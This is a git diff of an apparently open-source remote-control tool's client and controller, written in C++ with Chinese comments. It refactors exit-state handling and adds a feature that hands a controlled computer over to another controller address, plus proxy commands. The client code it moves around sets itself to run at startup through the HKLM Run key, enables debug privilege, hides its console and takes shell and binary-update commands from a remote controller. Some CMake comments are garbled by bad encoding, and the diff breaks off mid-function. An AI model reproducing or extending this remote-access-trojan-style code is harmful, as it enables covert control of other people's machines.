diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index bdaa80b..3b29fb9 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -2,18 +2,7 @@ // #include "stdafx.h" -#include "Common.h" -#include "IOCPClient.h" -#include -#include "LoginServer.h" -#include "KernelManager.h" -#include -#include -#include -#include -#include -#include -#include +#include "ClientDll.h" // 自动启动注册表中的值 #define REG_NAME "a_ghost" @@ -21,115 +10,49 @@ // 启动的客户端个数 #define CLIENT_PARALLEL_NUM 1 -// 客户端类:将全局变量打包到一起. -// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. -// 因此全局来看只有一个全局变量: g_MyApp -typedef struct ClientApp -{ - BOOL g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件) - BOOL g_bThreadExit; // 工作线程状态 - HINSTANCE g_hInstance; // 进程句柄 - CONNECT_ADDRESS *g_Connection; // 连接信息 - HANDLE g_hEvent; // 全局事件 -}ClientApp; - // 远程地址 CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL}; -// 应用程序 -ClientApp g_MyApp = { FALSE, FALSE, NULL, &g_SETTINGS, NULL }; +// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. +// 因此全局来看只有一个全局变量: g_MyApp +ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning); -// 启动核心线程,参数为:ClientApp -DWORD WINAPI StartClient(LPVOID lParam); +enum { E_RUN, E_STOP, E_EXIT } status; -#if _CONSOLE +int ClientApp::m_nCount = 0; -enum { E_RUN, E_STOP } status; +CLock ClientApp::m_Locker; -//提升权限 -void DebugPrivilege() -{ - HANDLE hToken = NULL; - //打开当前进程的访问令牌 - int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); - - if (hRet) - { - TOKEN_PRIVILEGES tp; - tp.PrivilegeCount = 1; - //取得描述权限的LUID - LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - //调整访问令牌的权限 - AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); - - CloseHandle(hToken); - } +BOOL IsProcessExit() { + return g_MyApp.g_bExit == S_CLIENT_EXIT; } -/** -* @brief 设置本身开机自启动 -* @param[in] *sPath 注册表的路径 -* @param[in] *sNmae 注册表项名称 -* @return 返回注册结果 -* @details Win7 64位机器上测试结果表明,注册项在:\n -* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run -* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 -*/ -BOOL SetSelfStart(const char* sPath, const char* sNmae) -{ - DebugPrivilege(); - - // 写入的注册表路径 -#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" - - // 在注册表中写入启动信息 - HKEY hKey = NULL; - LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); - - // 判断是否成功 - if (lRet != ERROR_SUCCESS) - return FALSE; - - lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); - - // 关闭注册表 - RegCloseKey(hKey); - - // 判断是否成功 - return lRet == ERROR_SUCCESS; +BOOL IsSharedRunning(void* thisApp) { + ClientApp* This = (ClientApp*)thisApp; + return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit); } -// 隐藏控制台 -// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647 -// step1: 在链接器"高级"设置入口点为mainCRTStartup -// step2: 在链接器"系统"设置系统为窗口 -// 完成 - -BOOL CALLBACK callback(DWORD CtrlType) -{ - if (CtrlType == CTRL_CLOSE_EVENT) - { - g_MyApp.g_bExit = true; - while (E_RUN == status) - Sleep(20); - } - return TRUE; +BOOL IsClientAppRunning(void* thisApp) { + ClientApp* This = (ClientApp*)thisApp; + return S_CLIENT_NORMAL == This->g_bExit; } -// 线程`StartClientApp`的启动参数. -typedef struct ClientStartArg -{ - int ID; // 线程返回代码 - ClientApp App; // 客户端对象 - const char* IP; // 远程IP - int Port; // 远程端口 -}ClientStartArg; +ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) { + auto v = StringToVector(remoteAddr, ':', 2); + if (v[0].empty() || v[1].empty()) + return nullptr; + auto a = new ClientApp(g_MyApp.g_Connection, run, shared); + a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); + return a; +} - -DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) { - CONNECT_ADDRESS& settings(*(app.g_Connection)); - BOOL& bExit(app.g_bExit); +DWORD WINAPI StartClientApp(LPVOID param) { + ClientApp::AddCount(1); + ClientApp* app = (ClientApp*)param; + CONNECT_ADDRESS& settings(*(app->g_Connection)); + const char* ip = settings.ServerIP(); + int port = settings.ServerPort(); + State& bExit(app->g_bExit); if (ip != NULL && port > 0) { settings.SetServer(ip, port); @@ -137,31 +60,28 @@ DWORD StartClientApp(int id, ClientApp &app, const char *ip, int port) { if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) { Mprintf("参数不足: 请提供远程主机IP和端口!\n"); Sleep(3000); - return -1; + } else { + app->g_hInstance = GetModuleHandle(NULL); + Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort()); + + do { + bExit = S_CLIENT_NORMAL; + HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL); + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + if (IsProcessExit()) // process exit + break; + } while (E_RUN == status && S_CLIENT_EXIT != bExit); } - app.g_hInstance = GetModuleHandle(NULL); - Mprintf("[server: %d] %s:%d HINSTANCE: %p\n", id, settings.ServerIP(), settings.ServerPort(), app.g_hInstance); - do { - bExit = 0; - HANDLE hThread = CreateThread(NULL, 0, StartClient, &app, 0, NULL); + auto r = app->m_ID; + if (app != &g_MyApp) delete app; + ClientApp::AddCount(-1); - WaitForSingleObject(hThread, INFINITE); - CloseHandle(hThread); - } while (E_RUN == status && 1 != bExit); - - return id; -} - - -DWORD WINAPI StartClientApp(LPVOID param) { - ClientStartArg* a = (ClientStartArg*)param; - auto r = StartClientApp(a->ID, a->App, a->IP, a->Port); - SAFE_DELETE(a); return r; } - /** * @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制) * @param handles 句柄数组 @@ -229,6 +149,79 @@ DWORD WaitForMultipleHandlesEx( } } +#if _CONSOLE + +//提升权限 +void DebugPrivilege() +{ + HANDLE hToken = NULL; + //打开当前进程的访问令牌 + int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); + + if (hRet) + { + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + //取得描述权限的LUID + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + //调整访问令牌的权限 + AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); + + CloseHandle(hToken); + } +} + +/** +* @brief 设置本身开机自启动 +* @param[in] *sPath 注册表的路径 +* @param[in] *sNmae 注册表项名称 +* @return 返回注册结果 +* @details Win7 64位机器上测试结果表明,注册项在:\n +* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run +* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 +*/ +BOOL SetSelfStart(const char* sPath, const char* sNmae) +{ + DebugPrivilege(); + + // 写入的注册表路径 +#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + + // 在注册表中写入启动信息 + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + + // 判断是否成功 + if (lRet != ERROR_SUCCESS) + return FALSE; + + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + + // 关闭注册表 + RegCloseKey(hKey); + + // 判断是否成功 + return lRet == ERROR_SUCCESS; +} + +// 隐藏控制台 +// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647 +// step1: 在链接器"高级"设置入口点为mainCRTStartup +// step2: 在链接器"系统"设置系统为窗口 +// 完成 + +BOOL CALLBACK callback(DWORD CtrlType) +{ + if (CtrlType == CTRL_CLOSE_EVENT) + { + g_MyApp.g_bExit = S_CLIENT_EXIT; + while (E_RUN == status) + Sleep(20); + } + return TRUE; +} + int main(int argc, const char *argv[]) { if (!SetSelfStart(argv[0], REG_NAME)) @@ -248,14 +241,17 @@ int main(int argc, const char *argv[]) SetConsoleCtrlHandler(&callback, TRUE); const char* ip = argc > 1 ? argv[1] : NULL; int port = argc > 2 ? atoi(argv[2]) : 0; - g_MyApp.g_Connection->SetType(CLIENT_TYPE_ONE); + ClientApp& app(g_MyApp); + app.g_Connection->SetType(CLIENT_TYPE_ONE); + app.g_Connection->SetServer(ip, port); if (CLIENT_PARALLEL_NUM == 1) { // 启动单个客户端 - StartClientApp(0, g_MyApp, ip, port); + StartClientApp(&app); } else { std::vector handles(CLIENT_PARALLEL_NUM); for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) { - handles[i] = CreateThread(0, 64*1024, StartClientApp, new ClientStartArg{ i, g_MyApp, ip, port }, 0, 0); + auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE); + handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0); if (handles[i] == 0) { Mprintf("线程 %d 创建失败,错误: %d\n", i, errno); } @@ -265,7 +261,7 @@ int main(int argc, const char *argv[]) Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError()); } } - + ClientApp::Wait(); status = E_STOP; CloseHandle(hMutex); @@ -298,7 +294,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { ClientApp& app(g_MyApp); CONNECT_ADDRESS& settings(*(app.g_Connection)); - app.g_bExit = FALSE; + app.g_bExit = S_CLIENT_NORMAL; if (strlen(szServerIP)>0 && uPort>0) { settings.SetServer(szServerIP, uPort); @@ -317,7 +313,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) } // 停止运行 -extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = true; } +extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } // 是否成功停止 extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; } @@ -334,11 +330,11 @@ extern "C" __declspec(dllexport) int EasyRun() { TestRun((char*)settings.ServerIP(), settings.ServerPort()); while (!IsStoped()) Sleep(50); - if (1 == app.g_bExit) // 受控端退出 + if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出 break; - else if (2 == app.g_bExit) + else if (S_SERVER_EXIT == app.g_bExit) continue; - else // 3: 程序更新 + else // S_CLIENT_UPDATE: 程序更新 break; } while (true); @@ -405,7 +401,7 @@ int nCmdShow: extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { ClientApp& app(g_MyApp); CONNECT_ADDRESS& settings(*(app.g_Connection)); - BOOL& bExit(app.g_bExit); + State& bExit(app.g_bExit); char message[256] = { 0 }; if (strlen(lpszCmdLine) != 0) { strcpy_s(message, lpszCmdLine); @@ -433,11 +429,11 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); while (!IsStoped()) Sleep(20); - if (bExit == 1) + if (bExit == S_CLIENT_EXIT) return; - else if (bExit == 2) + else if (bExit == S_SERVER_EXIT) continue; - else // 3 + else // S_CLIENT_UPDATE break; } while (true); @@ -451,39 +447,42 @@ DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); - BOOL& bExit(app.g_bExit); + State& bExit(app.g_bExit); IOCPClient *ClientObject = new IOCPClient(bExit); + CKernelManager* Manager = nullptr; - if (NULL == app.g_hEvent) - app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED); - if (app.g_hEvent == NULL) { - Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError()); + if (!app.m_bShared) { + if (NULL == app.g_hEvent) { + app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED); + } + if (app.g_hEvent == NULL) { + Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError()); + } } app.g_bThreadExit = false; - while (!bExit) + while (app.m_bIsRunning(&app)) { ULONGLONG dwTickCount = GetTickCount64(); if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { - for (int k = 500; !bExit && --k; Sleep(10)); + for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10)); continue; } //准备第一波数据 LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType()); ClientObject->SendLoginInfo(login); - CKernelManager *Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); + SAFE_DELETE(Manager); + Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); do { Manager->SendHeartbeat(); - } while (ClientObject->IsRunning() && ClientObject->IsConnected() && !bExit); - while (GetTickCount64() - dwTickCount < 5000 && !bExit) + } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); + while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) Sleep(200); - - delete Manager; } - if (app.g_bExit == 1 && app.g_hEvent) { + if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) { BOOL b = SetEvent(app.g_hEvent); Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed"); @@ -493,6 +492,7 @@ DWORD WINAPI StartClient(LPVOID lParam) Mprintf("StartClient end\n"); delete ClientObject; + SAFE_DELETE(Manager); app.g_bThreadExit = true; return 0; diff --git a/client/ClientDll.h b/client/ClientDll.h new file mode 100644 index 0000000..7e05165 --- /dev/null +++ b/client/ClientDll.h @@ -0,0 +1,73 @@ +#pragma once + +#include "Common.h" +#include "IOCPClient.h" +#include +#include "LoginServer.h" +#include "KernelManager.h" +#include +#include +#include +#include +#include +#include +#include + +BOOL IsProcessExit(); + +typedef BOOL(*IsRunning)(void* thisApp); + +BOOL IsSharedRunning(void* thisApp); + +BOOL IsClientAppRunning(void* thisApp); + +// 客户端类:将全局变量打包到一起. +typedef struct ClientApp +{ + State g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件) + BOOL g_bThreadExit; // 工作线程状态 + HINSTANCE g_hInstance; // 进程句柄 + CONNECT_ADDRESS* g_Connection; // 连接信息 + HANDLE g_hEvent; // 全局事件 + BOOL m_bShared; // 是否分享 + IsRunning m_bIsRunning; // 运行状态 + unsigned m_ID; // 唯一标识 + static int m_nCount; // 计数器 + static CLock m_Locker; + ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) { + memset(this, 0, sizeof(ClientApp)); + g_Connection = new CONNECT_ADDRESS(*conn); + m_bIsRunning = run; + m_bShared = shared; + } + ~ClientApp() { + SAFE_DELETE(g_Connection); + } + ClientApp* SetID(unsigned id) { + m_ID = id; + return this; + } + static void AddCount(int n=1) { + m_Locker.Lock(); + m_nCount+=n; + m_Locker.Unlock(); + } + static int GetCount() { + m_Locker.Lock(); + int n = m_nCount; + m_Locker.Unlock(); + return n; + } + static void Wait() { + while (GetCount()) + Sleep(50); + } +}ClientApp; + +ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); + +// 启动核心线程,参数为:ClientApp +DWORD WINAPI StartClient(LPVOID lParam); + +// 启动核心线程,参数为:ClientApp +DWORD WINAPI StartClientApp(LPVOID param); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index bd8b113..81f08bc 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -95,7 +95,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) } -IOCPClient::IOCPClient(BOOL &bExit, bool exit_while_disconnect) : g_bExit(bExit) +IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit) { m_Manager = NULL; #ifdef _WIN32 diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 1354ffb..02e7e7f 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -61,7 +61,7 @@ public: class IOCPClient { public: - IOCPClient(BOOL& bExit, bool exit_while_disconnect = false); + IOCPClient(State& bExit, bool exit_while_disconnect = false); virtual ~IOCPClient(); SOCKET m_sClientSocket; CBuffer m_CompressedBuffer; @@ -107,7 +107,7 @@ public: bool IsConnected() const { return m_bConnected == TRUE; } public: - BOOL& g_bExit; // 全局状态量 + State& g_bExit; // 全局状态量 void* m_Manager; // 用户数据 DataProcessCB m_DataProcess; // 处理用户数据 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index e14d444..2875eb2 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -8,6 +8,7 @@ #include #include #include +#include "ClientDll.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -125,6 +126,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch(szBuffer[0]) { + case COMMAND_SHARE: + if (ulLength > 2) { + switch (szBuffer[1]) { + case SHARE_TYPE_YAMA: { + auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); + if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0)); + break; + } + case SHARE_TYPE_HOLDINGHANDS: + break; + } + } + break; + case CMD_HEARTBEAT_ACK: if (ulLength > 8) { uint64_t n = 0; @@ -180,7 +195,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); - g_bExit = 1; + g_bExit = S_CLIENT_EXIT; OutputDebugStringA("======> Client exit \n"); break; } @@ -189,7 +204,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { BYTE bToken = SERVER_EXIT;// 主控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); - g_bExit = 2; + g_bExit = S_SERVER_EXIT; OutputDebugStringA("======> Server exit \n"); break; } @@ -246,7 +261,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) ULONGLONG size=0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { - g_bExit = 3; + g_bExit = S_CLIENT_UPDATE; } break; } diff --git a/client/Manager.h b/client/Manager.h index 952bb21..08a719d 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -24,7 +24,7 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD class CManager : public IOCPManager { public: - BOOL &g_bExit; // 1-被控端退出 2-主控端退出 + State&g_bExit; // 1-被控端退出 2-主控端退出 CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index d343708..3591823 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -201,6 +201,7 @@ + diff --git a/common/commands.h b/common/commands.h index 7e11462..71da3af 100644 --- a/common/commands.h +++ b/common/commands.h @@ -77,6 +77,14 @@ typedef void* LPVOID, * HANDLE; #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 +// 客户端状态: 1-被控端退出 2-主控端退出 +enum State { + S_CLIENT_NORMAL = 0, + S_CLIENT_EXIT = 1, + S_SERVER_EXIT = 2, + S_CLIENT_UPDATE = 3, +}; + // 命令枚举列表 enum { @@ -150,6 +158,8 @@ enum COMMAND_REGEDIT, COMMAND_TALK, // 即时消息验证 COMMAND_UPDATE = 53, // 客户端升级 + COMMAND_SHARE = 59, // 分享主机 + COMMAND_PROXY = 60, // 代理映射 // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 @@ -206,6 +216,17 @@ enum CMD_HEARTBEAT_ACK = 216, // 心跳回应 }; +enum ProxyManager { + TOKEN_PROXY_CONNECT_RESULT, + TOKEN_PROXY_BIND_RESULT, + TOKEN_PROXY_CLOSE, + TOKEN_PROXY_DATA, + COMMAND_PROXY_CLOSE, + COMMAND_PROXY_CONNECT, + COMMAND_PROXY_DATA, + COMMAND_PROXY_CONNECT_HOSTNAME, +}; + enum { CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 @@ -217,6 +238,11 @@ enum CLIENT_TYPE_LINUX = 6, // LINUX 客户端 }; +enum { + SHARE_TYPE_YAMA = 0, // 分享给同类程序 + SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands +}; + inline const char* GetClientType(int typ) { switch (typ) { @@ -272,8 +298,10 @@ public: return iType; } void SetServer(const char* ip, int port) { - strcpy_s(szServerIP, ip); - sprintf_s(szPort, "%d", port); + if (ip && strlen(ip) && port > 0) { + strcpy_s(szServerIP, ip); + sprintf_s(szPort, "%d", port); + } } bool IsValid()const { return strlen(szServerIP) != 0 && atoi(szPort) > 0; @@ -283,6 +311,23 @@ public: } } CONNECT_ADDRESS ; +// 将字符串按指定字符分隔为向量 +inline std::vector StringToVector(const std::string& str, char ch, int reserved = 1) { + // 使用字符串流来分隔字符串 + std::istringstream stream(str); + std::string item; + std::vector result; + + // 按分号分隔字符串 + while (std::getline(stream, item, ch)) { + result.push_back(item); // 将分隔出来的子字符串添加到结果向量中 + } + while (result.size() < reserved) + result.push_back(""); + + return result; +} + // 服务上线后发送的计算机信息 // 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控. // 新版客户端也无法连接老版本的主控程序. @@ -309,6 +354,31 @@ typedef struct LOGIN_INFOR dwSpeed = speed; return *this; } + void AddReserved(const char* v) { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + if (strlen(szReserved) + strlen(v) < sizeof(szReserved)) + strcat_s(szReserved, v); + } + void AddReserved(int n) { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + char buf[24] = {}; + sprintf_s(buf, "%d", n); + if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) + strcat_s(szReserved, buf); + } + void AddReserved(double f) { + if (strlen(szReserved)) + strcat_s(szReserved, "|"); + char buf[24] = {}; + sprintf_s(buf, "%.2f", f); + if (strlen(szReserved) + strlen(buf) < sizeof(szReserved)) + strcat_s(szReserved, buf); + } + std::vector ParseReserved(int n = 1) const { + return StringToVector(szReserved, '|', n); + } }LOGIN_INFOR; // 固定1024字节 diff --git a/lib/HPSocket.lib b/lib/HPSocket.lib new file mode 100644 index 0000000..2ff08f7 Binary files /dev/null and b/lib/HPSocket.lib differ diff --git a/lib/HPSocket_D.lib b/lib/HPSocket_D.lib new file mode 100644 index 0000000..6b2ce50 Binary files /dev/null and b/lib/HPSocket_D.lib differ diff --git a/lib/HPSocket_x64.lib b/lib/HPSocket_x64.lib new file mode 100644 index 0000000..fdb1ad5 Binary files /dev/null and b/lib/HPSocket_x64.lib differ diff --git a/lib/HPSocket_x64D.lib b/lib/HPSocket_x64D.lib new file mode 100644 index 0000000..c056c54 Binary files /dev/null and b/lib/HPSocket_x64D.lib differ diff --git a/lib/ReadMe.md b/lib/ReadMe.md new file mode 100644 index 0000000..4af73b6 --- /dev/null +++ b/lib/ReadMe.md @@ -0,0 +1,3 @@ +# Requirements + +- HPSocket: https://github.com/ldcsaa/HP-Socket.git diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt index cb96179..4925a75 100644 --- a/linux/CMakeLists.txt +++ b/linux/CMakeLists.txt @@ -9,6 +9,14 @@ cmake_minimum_required(VERSION 3.22) # 瀹氫箟椤圭洰鍚嶇О鍜岀増鏈 project(SimpleRemoter VERSION 1.0) +# 璁剧疆缂栬瘧鍣ㄦ爣蹇 - 灏濊瘯闈欐侀摼鎺ユ墍鏈夊簱 +set(CMAKE_EXE_LINKER_FLAGS "-static") + +# 瀵逛簬C++椤圭洰锛岀‘淇濇爣鍑嗗簱涔熼潤鎬侀摼鎺 +if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc") +endif() + include_directories(${CMAKE_SOURCE_DIR}/mterm) # 棰濆鐨勫寘鍚洰褰 diff --git a/linux/main.cpp b/linux/main.cpp index d4f9846..9301c9a 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -23,7 +23,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX}; // 鍏ㄥ眬鐘舵 -BOOL g_bExit = FALSE; +State g_bExit = S_CLIENT_NORMAL; // 浼粓绔鐞嗙被锛氱户鎵胯嚜IOCPManager. class PTYHandler : public IOCPManager { @@ -131,7 +131,7 @@ void *ShellworkingThread(void *param){ BYTE bToken = TOKEN_SHELL_START; ClientObject->Send2Server((char*)&bToken, 1); Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject); - while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit) + while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit) Sleep(1000); delete handler; @@ -147,7 +147,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); - g_bExit = TRUE; + g_bExit = S_CLIENT_EXIT; }else if (szBuffer[0] == COMMAND_SHELL){ pthread_t id = 0; HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr); @@ -235,7 +235,7 @@ int main() { do { Sleep(5000); - } while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit); + } while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit); } delete ClientObject; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 64be119..8ae451e 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 290d51e..f65f430 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -20,6 +20,7 @@ #include "VideoDlg.h" #include #include "KeyBoardDlg.h" +#include "InputDlg.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE); m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE); + m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE); InitializeCriticalSection(&m_cs); } @@ -191,6 +193,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) ON_WM_HELPINFO() + ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) END_MESSAGE_MAP() @@ -741,6 +744,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); + Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); *pResult = 0; @@ -1617,3 +1621,24 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) return CDialogEx::PreTranslateMessage(pMsg); } + + +void CMy2015RemoteDlg::OnOnlineShare() +{ + CInputDialog dlg(this); + dlg.Init("分享主机", "输入地址:"); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) + return; + if (dlg.m_str.GetLength() >= 250) { + MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION); + return; + } + if (IDYES != MessageBox(_T("确定分享选定的被控计算机吗?\n目前只能分享给同类主控程序。"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) + return; + + BYTE bToken[_MAX_PATH] = { COMMAND_SHARE }; + // 